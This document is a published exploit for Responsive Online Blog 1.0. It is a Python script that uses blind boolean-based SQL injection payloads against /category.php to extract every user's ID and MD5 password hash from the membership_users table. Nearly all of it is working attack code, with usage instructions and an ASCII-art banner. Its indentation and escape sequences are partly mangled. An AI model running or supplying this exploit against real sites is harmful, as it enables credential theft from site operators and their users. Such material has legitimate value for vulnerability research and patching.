Responsive Online Blog version 1.0 remote blind boolean-based SQL injection exploit that retrieves usernames and md5 hashes for all site users. Original discovery of the vulnerability is attributed to Eren Simsek.
# Exploit Title: Responsive Online Blog 1.0 - Blind Boolean-based SQLi
# Date: 2022-04-16
# Exploit Author: Gideon Kamioka (@w1ezl)
# Vendor Homepage: https://www.sourcecodester.com/php/14194/responsive-online-blog-website-using-phpmysql.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14194&title=Responsive+Online+Blog+Website+using+PHP%2FMySQL
# Version: v1.0
# Tested on: XAMPP Linux/7.4.7
# Vulnerability: An attacker can perform a blind boolean-based SQL injection attack,
# which can provide attackers with access to the username and md5 hash of all site users.
# Vulnerable file: /category.php
# Usage: python3 exploit.py http://localhost/blog/category.php
# Proof of Concept:
#!/usr/bin/python3
import sys,requests,re
def cred_Length(ip,p,max):
f = requests.get(ip, params=f'id={p.replace("[i]",str(125))}', verify=False)
failLen=len(f.text)
for k in reversed(range(1,max)):
r = requests.get(ip, params=f'id={p.replace("[i]",str(k))}', verify=False)
if (len(r.text) != failLen):
return k
return None
def search_Credentials(ip, p):
charlist="abcdefghijklmnopqrstuvwxyz0123456789:ABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&'()*+,-./:;<=>?@{|}~[]^_`"
f = requests.get(ip, params=f'id={p.replace("[CHAR]",str(125))}', verify=False)
failLen=len(f.text)
for k in charlist:
r = requests.get(ip, params=f'id={p.replace("[CHAR]",str(ord(k)))}', verify=False)
if (len(r.text) != failLen):
return ord(k)
return None
def logo():
art = R'''
░░░░ ░░░░
░░░░░░░░ ░░░░░░░░
░░░░░░░░ ░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░████░░░░░░████░░░░░░
░░░░░░████░░░░░░████░░░░░░
░░░░░░████░░░░░░████░░░░░░
░░░░░░████░░░░░░████░░░░░░
░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░
'''
info = " 33[0;34mResponsive Online Blog 1.0 /category.php 33[0m -n Boolean based Blind Credential Extractor"
credits = 'Created by 33[1;35m@w1ezl 33[0m'.center(80)
warning= " 33[3mThis script could take up to 33[1;31;103m10 minuites 33[0m 33[3m to extract a single credential.nGo get cofee and chill or something. 33[0m"
print(f"{art}n{info}n{credits}nn{warning}nn")
def main():
logo()
if len(sys.argv) != 2:
print(f"(+) Usage python3 {sys.argv[0]} <target>")
print(f"(+) Eg: python3 {sys.argv[0]} http://localhost/blog/category.php")
sys.exit(-1)
target = sys.argv[1]
payloadA = "1'AND+(SELECT+count(*)+FROM+membership_users)=[i]--+-"
payloadB = "1'AND+length(substring((SELECT+CONCAT(memberID,':',passMD5)+FROM+membership_users+LIMIT+1+OFFSET+[o]),1,60))=[i]--+-"
payloadC = "1'AND+ascii(substring((SELECT+CONCAT(memberID,':',passMD5)+FROM+membership_users+LIMIT+1+OFFSET+[o]),[i],1))=[CHAR]--+-"
print("(+) Starting Exploit:")
n = cred_Length(target, payloadA, 30)
if n is None:
print("(+) No creds Found:")
print("(+) exiting...")
sys.exit(-1)
else:
print(f"(+) {n-1} creds Found:")
for i in range(0,n-1):
b = payloadB.replace("[o]",str(i))
credLen = cred_Length(target, b, 60)
for j in range (1, credLen+1):
p = payloadC.replace("[i]",str(j))
c = p.replace("[o]",str(i))
sys.stdout.write(chr(search_Credentials(target, c)))
sys.stdout.flush()
print('')
print("done")
if __name__ == '__main__':
main()